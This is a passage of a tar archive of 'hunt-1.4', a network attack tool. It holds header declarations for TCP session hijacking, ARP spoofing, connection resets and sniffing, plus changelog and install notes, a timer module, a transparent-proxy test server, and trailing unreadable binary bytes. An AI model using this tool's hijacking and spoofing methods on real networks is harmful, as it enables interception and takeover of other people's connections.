*ptr, int nbytes); int print_eth_mac(unsigned char *mac); int sprintf_eth_mac(char *b, unsigned char *mac); int tap(char *device, int promisc_mode); int rawsock(void); int get_ifc_info(char *ifc_name, unsigned int *ip, char *mac); int port_match(int port, unsigned int *db_ports); void port_htons(unsigned int *db_ports); extern unsigned char __suggest_mac[ETH_ALEN]; unsigned char *suggest_mac(void); void ctrl_c_prompt(void); void clear_scr(void); int writen(int fd, char *ptr, int nbytes); /* * resolv.c */ #define HL_MODE_NR 0 #define HL_MODE_DEFERRED 1 #define HL_MODE_NAME 2 struct resolv_item { char *name; time_t put_timestamp; time_t get_timestamp; pthread_mutex_t mutex; }; extern int hl_mode; char *host_lookup(unsigned int in, int use_mode); char *port_lookup(unsigned short serv, int use_mode); unsigned short service_lookup(char *name); void resolv_init(void); void resolv_done(void); void resolv_remove(unsigned int ip); void resolv_put(unsigned int ip, const char *name); struct resolv_item *resolv_get(unsigned int ip); void resolv_request(unsigned int ip); /* * reset connection */ /* * reset mode */ void user_rst(struct user_conn_info *uci, int count, int mode); void rst(struct conn_info *ci, int count, int rstdst); /* * * hijacking * */ extern struct list l_hijack_conn; /* * hijack */ extern int storm_reset_sec; extern int stormack_hijack_wait_sec; int user_stormack_hijack(struct user_conn_info *uci, char *cmdbuf); int stormack_hijack(struct conn_info *ci, char *cmdbuf); void func_hijack_dst(struct packet *p, struct conn_info *arg); void func_hijack_src(struct packet *p, struct conn_info *arg); /* * arphijack */ #define INPUT_MODE_RAW 0 #define INPUT_MODE_LINEECHOR 1 #define INPUT_MODE_LINEECHO 2 int user_arp_hijack(struct user_conn_info *uci, char *src_fake_mac, char *dst_fake_mac, int input_mode); void user_arp_hijack_done(char *src_fake_mac, char *dst_fake_mac); int arp_hijack(struct conn_info *ci, char *src_fake_mac, char *dst_fake_mac, int input_mode); void arp_hijack_done(char *src_fake_mac, char *dst_fake_mac); /* * synchijack */ int user_hijack_sync(struct user_conn_info *uci); int hijack_sync(struct conn_info *ci); /* * arpspoof */ extern unsigned char mac_broadcast[ETH_ALEN]; extern unsigned char mac_zero[ETH_ALEN]; struct arp_spoof_info *start_arp_spoof(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, char *src_fake_mac, int refresh, int can_forward, int in_range); struct arp_spoof_info *get_arp_spoof(unsigned int src_addr, unsigned int dst_addr); void stop_arp_spoof(struct arp_spoof_info *asi); void arpspoof_menu(void); void print_arp_relayer_daemon(void); int arpspoof_test(struct arp_spoof_info *asi); int user_arpspoof_test(struct arp_spoof_info *asi); void force_arp_spoof(struct arp_spoof_info *asi, int count); int run_arpspoof_until_successed(struct arp_spoof_info *asi); int user_run_arpspoof_until_successed(struct arp_spoof_info *asi); int arpspoof_exit_check(); struct arp_dont_relay { unsigned int src_addr; unsigned int dst_addr; unsigned short src_port; unsigned short dst_port; struct arp_dont_relay *next; }; struct arp_dont_relay *arp_dont_relay_insert( unsigned int src_addr, unsigned int dst_addr, unsigned int src_port, unsigned int dst_port); void arp_dont_relay_remove(struct arp_dont_relay *adr); extern int arp_request_spoof_through_request; extern int arp_rr_count; extern int arp_spoof_switch; extern int arp_spoof_with_my_mac; /* * rstd */ #define PORT_SHIFT 16 #define PORT_MASK 0xFFFFU #define PORT_VAL(x) ((x) & (PORT_MASK)) #define PORT_INTERVAL(x) ((x) & (1 << (PORT_SHIFT))) #define PORT_SET_INTERVAL(x) ((x) |= 1 << (PORT_SHIFT)) void rstd_menu(void); void print_rst_daemon(void); /* * sniff */ void sniff_menu(void); void print_sniff_daemon(void); /* * macdisc */ void mac_discover(unsigned int ip, int count); void mac_discover_range(unsigned int start_ip, unsigned int end_ip, int count); void mac_disc_menu(void); void print_mac_daemon(); /* * tty.c */ int tty_cbreak(int fd, int wait_for_chars, int timer_dsec); int tty_raw(int fd, int wait_for_chars, int timer_dsec); int tty_reset(int fd); void tty_atexit(void); /* * addpolicy.c */ extern struct list l_add_policy; int conn_add_match(unsigned int src_addr, unsigned int dst_addr, unsigned short src_port, unsigned short dst_port); int conn_add_policy(struct iphdr *iph, struct tcphdr *tcph); void add_telnet_rlogin_policy(void); void addpolicy_list_items(void); void addpolicy_add_item(void); void addpolicy_mod_item(void); void addpolicy_del_item(void); /* * options.c */ extern int lines_o; void options_menu(void); void lines_o_press_key(); /* * hostup.c */ void host_up(void); /* * pktrelay.c */ void relay_menu(void); int process_pktrelay(struct packet *p, struct arp_spoof_info *asi); /* * timer.c */ /* * returns number of seconds of next invocation * 0 - unregister */ typedef int (*time_func)(void *arg, int arg_sec); struct timejob { time_func j_func; void *j_arg; int j_arg_sec; struct timespec j_ts; /* private members */ struct time_job *j_next; }; void register_timejob(struct timejob *tj); void register_timejob_rel(struct timejob *tj, int relsec); void register_timejob_milsec_rel(struct timejob *tj, int milsec); void unregister_timejob(struct timejob *tj); void timer_init(void); void timer_done(void); /* * net.c * * all have to be filled with network byte order */ struct tcp_spec { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; char *src_mac; char *dst_mac; unsigned long seq; unsigned long ack_seq; unsigned short window; unsigned short id; int ack; int rst; int psh; char *data; int data_len; }; int send_tcp_packet(struct tcp_spec *ts); struct icmp_spec { unsigned int src_addr; unsigned int dst_addr; char *src_mac; char *dst_mac; short type; short code; union { struct { unsigned short id; unsigned short seq; } idseq; unsigned int res; } un; void *data; int data_len; }; int send_icmp_packet(struct icmp_spec *is); void send_icmp_request(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, unsigned short seq); int is_icmp_reply(struct packet *p, unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac); struct arp_spec { char *src_mac; char *dst_mac; int oper; char *sender_mac; unsigned long sender_addr; char *target_mac; unsigned long target_addr; }; int send_arp_packet(struct arp_spec *as); int send_packet(struct packet *p); static inline void sec_nanosleep(int sec) { struct timespec ts; ts.tv_sec = sec; ts.tv_nsec = 0; nanosleep(&ts, NULL); } #endif hunt-1.4/INSTALL100644 0 0 471 6732444323 11435 0ustar rootroot Make sure you have: glibc >= 2.0.7 with linuxthreads just type "make" and you get hunt binary You can download binary and static linked binary code also. libc5 + linuxhteads-7.X isn't tested but you can compile it and test it if you edit Makefile and uncomment #CFLAGS+=-D_WITH_LINUX_KERNEL_HDR enjoy it hunt-1.4/CHANGES100644 0 0 5306 6775077130 11426 0ustar rootroot-------- Hunt-1.4 released -------------- Please update your bookmark to http://www.gncz.cz/kra/index.html and ftp://ftp.gncz.cz/pub/linux/hunt/ 1/10 README.tp done 26/9 Starting work on README.tp 12/8 eth tap relay - transproxy support without my eth mac spoofing - experimental 5/7 check for to long tot_len when the packet does not set that it is a fragment - thanks to Martin Lucina 3/6-18/6 support for spoofing range of IP addresses relaying packets in arp-relayer that are sent from/to routers support for arp-spoof of hosts that are currently down relayer database for skipping specified packets tpserv/tpserv.c transproxy testing program tpsetup/transproxy script for setting transproxy support mode 31/5-4/6 ability to modify packets in arp-relayer daemon I have used hunt for discovering bug in tcp protocol stack on one embedded system and for watching traffic between these systems and unixes on switched segments - thanks hunt - I do not have to move from my chair. 26/5 man page by Jon Marler 23/5 ARP mode promisc detection 21/4 test for EUID only in main.c by Squeak -------- Hunt-1.3 released -------------- 2/4 Sendmsg and ENOBUFS in net.c 31/3 Locking bug in ARP relayer causing ARP relayer to lookup fixed thanks to Greg Ginting Locking bug (as was shown in ARP relayer) in sniffer fixed 21/3 Line mode in hijacking - useful when hijacking other connections than telnet or rlogin synchhijack fixed for read/write==0 -------- Hunt-1.2 released -------------- 15/2 fix in timer.c, single arp spoof testing on switch - fixes 11/2 rlogin policy added as default suggest mac base in options 7/2 timerjob for ARP reply when it isn't received in switched environment after ARP request README update 6/2 new connection indicator in prompt 25/1 - 3/2 Lots of debugging and fixes for switched environment thanks for testing environment to Jirka Vyhnanek and Petr Houzvik timejob addition some new items in option menu 18/1/99 dropping IP fragments as they are not handled by hunt. Hunt doesn't support defragmentation yet. dropping some malformed IP packets verbose option in menu and status bar with verbose on 7/1/99 MAC address learning from ARP request fixed some typos --------- Hunt-1.1 released ------------- 3/12/98 Compilation with Linux2.1.X check of received packet checksums 2/12/98 Added promiscuous mode detection to host up menu through ICMP echo request/reply suggested by R. Engur Pisirici (more sophisticated detection is pending) corrected serious bug in list.c (__list_remove) some fixes --------- Hunt-1.0 ------------- hunt-1.4/TODO100644 0 0 342 6726465146 11102 0ustar rootroot- command line options and configuration from config file - handling IP fragments (defragmentation before TCP processing) - handling out of order TCP segments - better TCP state machine (with better checking of seq. numbers) hunt-1.4/timer.c100644 0 0 7756 6662020650 11720 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include "hunt.h" struct list timejob_list = LIST_INIT(struct timejob, j_next); pthread_t timejob_thr; pthread_mutex_t timejob_mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t timejob_cond = PTHREAD_COND_INITIALIZER; pthread_cond_t timejob_curr_cond = PTHREAD_COND_INITIALIZER; pthread_cond_t timejob_run_cond = PTHREAD_COND_INITIALIZER; struct timejob *timejob_curr = NULL; int timejob_run = 1; static int __register(struct timejob *tj) { struct list_iterator li; int i, retval; int insert_it; struct timejob *p; retval = 0; insert_it = 0; i = 0; list_iter_set(&li, &timejob_list); while ((p = list_iter_get(&li))) { if (p->j_ts.tv_sec > tj->j_ts.tv_sec || (p->j_ts.tv_sec == tj->j_ts.tv_sec && p->j_ts.tv_nsec > tj->j_ts.tv_nsec)) { insert_it = 1; break; } i++; } list_iter_end(&li); if (insert_it) { list_insert_at(&timejob_list, i, tj); if (i == 0) retval = 1; /* reschedule timer */ } else { list_enqueue(&timejob_list, tj); if (list_count(&timejob_list) == 1) retval = 1; /* reschedule timer */ } #if 0 printf("registered:\n"); list_iter_set(&li, &timejob_list); while ((p = list_iter_get(&li))) { printf("%x - %d\n", p, p->j_arg_sec); }; list_iter_end(&li); #endif return retval; } void register_timejob(struct timejob *tj) { pthread_mutex_lock(&timejob_mutex); if (__register(tj)) pthread_cond_signal(&timejob_cond); pthread_mutex_unlock(&timejob_mutex); } void register_timejob_rel(struct timejob *tj, int relsec) { struct timeval tv; gettimeofday(&tv, NULL); tj->j_ts.tv_sec = tv.tv_sec + relsec; tj->j_ts.tv_nsec = tv.tv_usec * 1000; register_timejob(tj); } void register_timejob_milsec_rel(struct timejob *tj, int milsec) { struct timeval tv; int sec, msec; gettimeofday(&tv, NULL); sec = milsec / 1000; msec = milsec % 1000; tj->j_ts.tv_sec = tv.tv_sec + sec; tj->j_ts.tv_nsec = tv.tv_usec * 1000 + msec * 1000000; register_timejob(tj); } void unregister_timejob(struct timejob *tj) { pthread_mutex_lock(&timejob_mutex); while (timejob_curr == tj) pthread_cond_wait(&timejob_curr_cond, &timejob_mutex); list_remove(&timejob_list, tj); pthread_cond_signal(&timejob_cond); pthread_mutex_unlock(&timejob_mutex); } static void *timejob_thread(void *arg) { struct timejob *tj; struct timeval tv; struct timespec timeout; int sec; setpriority(PRIO_PROCESS, getpid(), 10); pthread_mutex_lock(&timejob_mutex); while (timejob_run && pthread_kill(main_thread_id, 0) == 0) { tj = list_peek(&timejob_list); if (tj) { gettimeofday(&tv, NULL); if (tv.tv_sec > tj->j_ts.tv_sec || (tv.tv_sec == tj->j_ts.tv_sec && tv.tv_usec * 1000 >= tj->j_ts.tv_nsec)) { timejob_curr = tj; list_pop(&timejob_list); pthread_mutex_unlock(&timejob_mutex); sec = timejob_curr->j_func(timejob_curr->j_arg, timejob_curr->j_arg_sec); pthread_mutex_lock(&timejob_mutex); if (sec) { gettimeofday(&tv, NULL); tj->j_ts.tv_sec = tv.tv_sec + sec; tj->j_ts.tv_nsec = tv.tv_usec * 1000; __register(tj); } timejob_curr = NULL; pthread_cond_signal(&timejob_curr_cond); } else { /* copy timeout as the struct can be removed from the list */ timeout = tj->j_ts; pthread_cond_timedwait(&timejob_cond, &timejob_mutex, &timeout); } } else { pthread_cond_wait(&timejob_cond, &timejob_mutex); } } timejob_run = 2; pthread_cond_signal(&timejob_run_cond); pthread_mutex_unlock(&timejob_mutex); return NULL; } void timer_init(void) { if (pthread_create(&timejob_thr, NULL, timejob_thread, NULL)) exit(1); } void timer_done(void) { pthread_mutex_lock(&timejob_mutex); timejob_run = 0; pthread_cond_signal(&timejob_cond); while (timejob_run != 2 && pthread_kill(timejob_thr, 0) == 0) pthread_cond_wait(&timejob_run_cond, &timejob_mutex); pthread_mutex_unlock(&timejob_mutex); } hunt-1.4/tpserv/ 40755 0 0 0 6776074653 11665 5ustar rootroothunt-1.4/tpserv/Makefile100644 0 0 206 6776074624 13376 0ustar rootrootCC=egcs CFLAGS=-Wall -O2 -g all: tpserv tpserv: tpserv.o $(CC) -o $@ $< $(LIBS) clean: rm -f *.o distclean: clean rm -f tpserv hunt-1.4/tpserv/tpserv.c100644 0 0 20540 6776057046 13467 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1999 by kra * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* * listen by default on this port */ int serv_port = 7044; #define TPSERV_VERSION "0.5" #define BUFSIZE 1460 char *prog_name = NULL; int is_daemon = 0; int verbose = 0; int tpserv_connect = 0; static int writen(int fd, char *ptr, int nbytes) { int nleft, nwritten; nleft = nbytes; while (nleft > 0) { nwritten = write(fd, ptr, nleft); if (nwritten <= 0) return(nwritten); /* error */ nleft -= nwritten; ptr += nwritten; } return(nbytes - nleft); } static int max(int v1, int v2) { return v1 > v2 ? v1 : v2; } static void log(int level, int pid, char *format, ...) { char buf[BUFSIZE]; va_list va; FILE *f; va_start(va, format); if (verbose > 1) { if (level <= LOG_ERR) f = stderr; else f = stdout; fprintf(f, "%5d: ", pid); vfprintf(f, format, va); fputc('\n', f); } else { vsnprintf(buf, sizeof(buf), format, va); syslog(level, "%s", buf); } va_end(va); } static char *print_connection(struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { static char buf[BUFSIZE]; char *p; p = buf; p += sprintf(p, "from %s:%d", inet_ntoa(from_addr->sin_addr), ntohs(from_addr->sin_port)); p += sprintf(p, " to %s:%d", inet_ntoa(to_addr->sin_addr), ntohs(to_addr->sin_port)); return buf; } static void print_read(int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr, int len) { if (verbose <= 1) return; log(LOG_DEBUG, pid, "read %4d bytes %s", len, print_connection(from_addr, to_addr)); } static void print_write(int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr, int len) { if (verbose <= 1) return; log(LOG_DEBUG, pid, "write %4d bytes %s", len, print_connection(from_addr, to_addr)); } static void print_connect(int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { if (!verbose) return; log(LOG_DEBUG, pid, "connect %s", print_connection(from_addr, to_addr)); } static void print_disconnect(int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { if (!verbose) return; log(LOG_DEBUG, pid, "disconnect %s", print_connection(from_addr, to_addr)); } #if 0 static void *memfind(const void *dst, int t_len, const void *src, int m_len) { int i; const char *t = dst, *m = src; for (i = t_len - m_len + 1 ; i > 0; i--, t++) if (t[0] == m[0] && memcmp(t, m, m_len) == 0) return (void *) t; return 0; } #endif static void process_request_echo(int fd, int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { char buf[BUFSIZE]; int len; while ((len = read(fd, buf, sizeof(buf))) > 0) { print_read(pid, from_addr, to_addr, len); if (writen(fd, buf, len) != len) break; print_write(pid, to_addr, from_addr, len); } } static void process_request_connect(int fd, int pid, struct sockaddr_in *from_addr, struct sockaddr_in *to_addr) { char buf[BUFSIZE]; struct sockaddr_in local_addr; int to_addr_len, local_addr_len; fd_set rset; int maxfd, len; int fd_remote; if ((fd_remote = socket(AF_INET, SOCK_STREAM, 0)) < 0) { log(LOG_ERR, pid, "socket failed %d:%s\n", errno, strerror(errno)); exit(1); } to_addr_len = sizeof(*to_addr); if (connect(fd_remote, to_addr, to_addr_len) < 0) { log(LOG_ERR, pid, "failed to connect to remote addr\n"); exit(1); } local_addr_len = sizeof(local_addr); if (getsockname(fd_remote, (struct sockaddr *) &local_addr, &local_addr_len) < 0) { log(LOG_ERR, pid, "getpeername failed %d:%s\n", errno, strerror(errno)); exit(1); } while (1) { FD_ZERO(&rset); FD_SET(fd, &rset); FD_SET(fd_remote, &rset); maxfd = max(fd, fd_remote) + 1; if (select(maxfd, &rset, NULL, NULL, NULL) > 0) { /* * from/to client to server (as) */ if (FD_ISSET(fd, &rset)) { if ((len = read(fd, buf, sizeof(buf))) > 0) { print_read(pid, from_addr, to_addr, len); if (writen(fd_remote, buf, len) != len) return; print_write(pid, &local_addr, to_addr, len); } else /* read eof or error */ return; } /* * from/to as to true destination server */ if (FD_ISSET(fd_remote, &rset)) { if ((len = read(fd_remote, buf, sizeof(buf))) > 0) { print_read(pid, to_addr, &local_addr, len); /* * here we can modify/insert something to the data stream * instaed of plain writen */ if (writen(fd, buf, len) != len) return; print_write(pid, to_addr, from_addr, len); } else /* read eof or error */ return; } } } } void serv_slave(int fd, int pid) { struct sockaddr_in to_addr, from_addr; int to_addr_len, from_addr_len; to_addr_len = sizeof(to_addr); memset(&to_addr, 0, sizeof(to_addr)); if (getsockname(fd, (struct sockaddr *) &to_addr, &to_addr_len) < 0) { log(LOG_ERR, pid, "getsockname failed %d:%s\n", errno, strerror(errno)); exit(1); } from_addr_len = sizeof(from_addr); memset(&from_addr, 0, sizeof(from_addr)); if (getpeername(fd, (struct sockaddr *) &from_addr, &from_addr_len) < 0) { log(LOG_ERR, pid, "getpeername failed %d:%s\n", errno, strerror(errno)); exit(1); } print_connect(pid, &from_addr, &to_addr); if (tpserv_connect) process_request_connect(fd, pid, &from_addr, &to_addr); else process_request_echo(fd, pid, &from_addr, &to_addr); close(fd); print_disconnect(pid, &from_addr, &to_addr); } void usage(const char *name) { printf("usage: %s [-V] [-v] [-h] [-D] [-c] [-p port]\n", name); exit(1); } int main(int argc, char *argv[]) { struct sockaddr_in servaddr, cliaddr; struct sigaction sa; int lfd, clifd; int child_pid; int clilen, c; int on = 1; char *tmp; if ((prog_name = rindex(argv[0], '/')) == NULL) prog_name = argv[0]; else prog_name++; while ((c = getopt(argc, argv, "p:h?vVDc")) != EOF) { switch (c) { case 'p': serv_port = strtoul(optarg, &tmp, 0); if (*tmp) { fprintf(stderr, "bad: -p %s\n", optarg); exit(1); } break; case 'V': printf("%s: version %s", prog_name, TPSERV_VERSION); exit(0); case 'v': verbose++; break; case 'D': is_daemon = 1; break; case 'c': tpserv_connect = 1; break; case 'h': case '?': default: usage(prog_name); } } memset(&sa, 0, sizeof(struct sigaction)); #ifdef SA_NOCLDWAIT sa.sa_flags = SA_NOCLDWAIT; #endif #if 0 sa.sa_flags |= SA_NOCLDSTOP; #endif sa.sa_handler = SIG_IGN; if (sigaction(SIGCHLD, &sa, NULL) < 0) { fprintf(stderr, "sigaction failed %d:%s\n", errno, strerror(errno)); exit(1); } if ((lfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "socket failed %d:%s\n", errno, strerror(errno)); exit(1); } if (setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0) { fprintf(stderr, "setsockopt failed %d:%s\n", errno, strerror(errno)); exit(1); } if (setsockopt(lfd, SOL_SOCKET, SO_KEEPALIVE, (char *) &on, sizeof(on)) < 0) { fprintf(stderr, "setcoskopt failed %d:%s\n", errno, strerror(errno)); exit(1); } memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(serv_port); if (bind(lfd, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0) { fprintf(stderr, "bind failed %d:%s\n", errno, strerror(errno)); exit(1); } if (listen(lfd, 10) < 0) { fprintf(stderr, "listen failed %d:%s\n", errno, strerror(errno)); exit(1); } if (is_daemon) { daemon(0, 0); openlog(prog_name, LOG_PID, LOG_DAEMON); } if (verbose) log(LOG_DEBUG, getpid(), "ready"); for (;;) { clilen = sizeof(cliaddr); do { clifd = accept(lfd, (struct sockaddr *) &cliaddr, &clilen); } while (clifd < 0 && errno == EINTR); if (clifd < 0) { log(LOG_ERR, getpid(), "accept failed %d:%s", errno, strerror(errno)); exit(1); } if ((child_pid = fork()) == 0) { /* slave */ close(lfd); serv_slave(clifd, getpid()); /* closes clifd */ exit(0); } else if (child_pid > 0) { /* parent */ close(clifd); } else { /* fork error - ignore */ close(clifd); } } } hunt-1.4/tpserv/tpserv100755 0 0 44507 6776074614 13262 0ustar rootrootELF4 74 (444dddddpp444 /lib/ld-linux.so.2GNU%) % (&' !# "  $ )!(8:"0)9/"@G3O"Yx:"`I"gX"z(:"H"="Ȉ$:X":="ȉ|H:؈/"x")8h$h$:" ؉"+(0?xFXt"n7"tYB}:__gmon_start__libc.so.6printfstdoutconnectstrerrorgetpidoptarg__bzerovsnprintfsocketselect__strtoul_internalacceptrindexwritefprintfbind__deregister_frame_infosetsockoptreadopenloglistenforksigactiongetoptinet_ntoasyslogsprintfgetpeernamestderrfputc__errno_locationexit_IO_stdin_useddaemon__libc_start_main__register_frame_infoclosevfprintfgetsocknameGLIBC_2.0ii 0%& Ĩ Ȩ̨ Ш Ԩبܨ#'$ (! $ (,US[W tw ]5%%h%h%h%h%h %h(%h0%h8p%Ĩh@`%ȨhHP%̨hP@%ШhX0%Ԩh` %بhh%ܨhp%hx%h%h%h%h%h%h%h%hp%h`%hP% h@%h0%h %h%h% h%$h%(h%,h1^PTRh\h8QVhU=lu8PhСh8uXt h>lÉUÍvU帘thhMÍvUÐUWVSu }~SVUR+ ~ )ƅ)߉e[^_UUE 9}ÍvUWVS}u=|~9u hSVURSSj %vVURhLSShWF@[^_ÍvUVSUu fBf%PrPhSÃfFf%PvPhS e[^ÐU=|~uu }PuhujU=|~uu QPuhѕujU=|tuu %PhujÍvU=|tuu PhujeÍvUWVS}L3SWURU R*SVUR9u*PURWU R5hVURà @[^_ÍvUhWVSjjj }033R3h E PjjjMQPƒ }h@M QjqjDžP3%P3hnPjj)uVtPSUjSqUS=t Ѓ;u]ÐUÐUS[3o]%5d: %sfrom %s:%d to %s:%dread %4d bytes %swrite %4d bytes %sconnect %sdisconnect %ssocket failed %d:%s failed to connect to remote addr getpeername failed %d:%s getsockname failed %d:%s usage: %s [-V] [-v] [-h] [-D] [-c] [-p port] p:h?vVDcbad: -p %s 0.5%s: version %ssigaction failed %d:%s setsockopt failed %d:%s setcoskopt failed %d:%s bind failed %d:%s listen failed %d:%s readyaccept failed %d:%spppppXppppppppppppppppp0ppppppppppppdpppppppppppppppppP4~Έވ.>N^n~Ήމ.>N^n~ 8 \(h    ooo(dԊdԊ$<3b|%q 3Xr .Xl !bv! M1h(;!g$B?!  %!="S#j%&12345 60 8I 9c ; = > ? @ A B C0 DI E` Fy G H I N Q R9 SQ Tj V Y o r u {6 |S o  8 R F   +"jG3;BE0nRY ])fkPshx! #$%& "dԊinit.c/usr/src/bs/BUILD/glibc/csu/gcc2_compiled.int:t(0,1)=r(0,1);0020000000000;0017777777777;char:t(0,2)=r(0,2);0;127;long int:t(0,3)=r(0,1);0020000000000;0017777777777;unsigned int:t(0,4)=r(0,1);0000000000000;0037777777777;long unsigned int:t(0,5)=r(0,1);0000000000000;0037777777777;long long int:t(0,6)=r(0,1);01000000000000000000000;0777777777777777777777;long long unsigned int:t(0,7)=r(0,1);0000000000000;01777777777777777777777;short int:t(0,8)=r(0,8);-32768;32767;short unsigned int:t(0,9)=r(0,9);0;65535;signed char:t(0,10)=r(0,10);-128;127;unsigned char:t(0,11)=r(0,11);0;255;float:t(0,12)=r(0,1);4;0;double:t(0,13)=r(0,1);8;0;long double:t(0,14)=r(0,1);12;0;complex int:t(0,15)=s8real:(0,1),0,32;imag:(0,1),32,32;;complex float:t(0,16)=r(0,16);4;0;complex double:t(0,17)=r(0,17);8;0;complex long double:t(0,18)=r(0,18);12;0;void:t(0,19)=(0,19)../include/libc-symbols.h/usr/src/bs/BUILD/glibc/build-i386-linux/config.h../include/libintl.h../intl/libintl.h../include/features.h../include/sys/cdefs.h../misc/sys/cdefs.h/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stddef.h../include/locale.h../locale/locale.hlconv:T(10,1)=s48decimal_point:(10,2)=*(0,2),0,32;thousands_sep:(10,2),32,32;\grouping:(10,2),64,32;int_curr_symbol:(10,2),96,32;\currency_symbol:(10,2),128,32;mon_decimal_point:(10,2),160,32;\mon_thousands_sep:(10,2),192,32;mon_grouping:(10,2),224,32;\positive_sign:(10,2),256,32;negative_sign:(10,2),288,32;\int_frac_digits:(0,2),320,8;frac_digits:(0,2),328,8;\p_cs_precedes:(0,2),336,8;p_sep_by_space:(0,2),344,8;\n_cs_precedes:(0,2),352,8;n_sep_by_space:(0,2),360,8;\p_sign_posn:(0,2),368,8;n_sign_posn:(0,2),376,8;;../include/xlocale.h../locale/xlocale.h__locale_struct:T(13,1)=s36__locales:(13,2)=ar(0,1);0;5;(13,3)=*(13,4)=xslocale_data:,0,192;\__ctype_b:(13,5)=*(0,9),192,32;__ctype_tolower:(13,6)=*(0,1),224,32;\__ctype_toupper:(13,6),256,32;;__locale_t:t(13,7)=(13,8)=*(13,1)../sysdeps/unix/sysv/linux/_G_config.h../sysdeps/unix/sysv/linux/bits/types.hsize_t:t(16,1)=(0,4)__u_char:t(15,1)=(0,11)__u_short:t(15,2)=(0,9)__u_int:t(15,3)=(0,4)__u_long:t(15,4)=(0,5)__u_quad_t:t(15,5)=(0,7)__quad_t:t(15,6)=(0,6)__int8_t:t(15,7)=(0,10)__uint8_t:t(15,8)=(0,11)__int16_t:t(15,9)=(0,8)__uint16_t:t(15,10)=(0,9)__int32_t:t(15,11)=(0,1)__uint32_t:t(15,12)=(0,4)__int64_t:t(15,13)=(0,6)__uint64_t:t(15,14)=(0,7)__qaddr_t:t(15,15)=(15,16)=*(15,6)__dev_t:t(15,17)=(15,5)__uid_t:t(15,18)=(15,3)__gid_t:t(15,19)=(15,3)__ino_t:t(15,20)=(15,4)__mode_t:t(15,21)=(15,3)__nlink_t:t(15,22)=(15,3)__off_t:t(15,23)=(0,3)__loff_t:t(15,24)=(15,6)__pid_t:t(15,25)=(0,1)__ssize_t:t(15,26)=(0,1)__rlim_t:t(15,27)=(0,3)__rlim64_t:t(15,28)=(15,6)__id_t:t(15,29)=(15,3)__fsid_t:t(15,30)=(15,31)=s8__val:(15,32)=ar(0,1);0;1;(0,1),0,64;;__daddr_t:t(15,33)=(0,1)__caddr_t:t(15,34)=(10,2)__time_t:t(15,35)=(0,3)__swblk_t:t(15,36)=(0,3)__clock_t:t(15,37)=(0,3)__fd_mask:t(15,38)=(0,5)__fd_set:t(15,39)=(15,40)=s128fds_bits:(15,41)=ar(0,1);0;31;(15,38),0,1024;;__key_t:t(15,42)=(0,1)__ipc_pid_t:t(15,43)=(0,9)__blkcnt_t:t(15,44)=(15,4)__blkcnt64_t:t(15,45)=(15,5)__fsblkcnt_t:t(15,46)=(0,3)__fsblkcnt64_t:t(15,47)=(15,6)__fsfilcnt_t:t(15,48)=(15,4)__fsfilcnt64_t:t(15,49)=(15,5)__ino64_t:t(15,50)=(15,4)__off64_t:t(15,51)=(15,24)__t_scalar_t:t(15,52)=(0,1)__t_uscalar_t:t(15,53)=(0,4)__intptr_t:t(15,54)=(0,1)../linuxthreads/sysdeps/pthread/bits/pthreadtypes.h../sysdeps/unix/sysv/linux/bits/sched.h__sched_param:T(18,1)=s4sched_priority:(0,1),0,32;;_pthread_fastlock:T(17,1)=s8__status:(0,3),0,32;__spinlock:(0,1),32,32;;_pthread_descr:t(17,2)=(17,3)=*(17,4)=xs_pthread_descr_struct:pthread_attr_t:t(17,5)=(17,6)=s36__detachstate:(0,1),0,32;\__schedpolicy:(0,1),32,32;__schedparam:(18,1),64,32;\__inheritsched:(0,1),96,32;__scope:(0,1),128,32;\__guardsize:(16,1),160,32;__stackaddr_set:(0,1),192,32;\__stackaddr:(17,7)=*(0,19),224,32;__stacksize:(16,1),256,32;;pthread_cond_t:t(17,8)=(17,9)=s12__c_lock:(17,1),0,64;\__c_waiting:(17,2),64,32;;pthread_condattr_t:t(17,10)=(17,11)=s4__dummy:(0,1),0,32;;pthread_key_t:t(17,12)=(0,4)pthread_mutex_t:t(17,13)=(17,14)=s24__m_reserved:(0,1),0,32;\__m_count:(0,1),32,32;__m_owner:(17,2),64,32;\__m_kind:(0,1),96,32;__m_lock:(17,1),128,64;;pthread_mutexattr_t:t(17,15)=(17,16)=s4__mutexkind:(0,1),0,32;;pthread_once_t:t(17,17)=(0,1)pthread_rwlock_t:t(17,18)=(17,19)=s32__rw_lock:(17,1),0,64;\__rw_readers:(0,1),64,32;__rw_writer:(17,2),96,32;\__rw_read_waiting:(17,2),128,32;__rw_write_waiting:(17,2),160,32;\__rw_kind:(0,1),192,32;__rw_pshared:(0,1),224,32;;pthread_rwlockattr_t:t(17,20)=(17,21)=s8__lockkind:(0,1),0,32;\__pshared:(0,1),32,32;;pthread_t:t(17,22)=(0,5)wchar_t:t(19,1)=(0,3)wint_t:t(19,2)=(0,4)_G_int16_t:t(14,1)=(0,8)_G_int32_t:t(14,2)=(0,1)_G_uint16_t:t(14,3)=(0,9)_G_uint32_t:t(14,4)=(0,4)_IO_stdin_used:G(0,1)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)GCC: 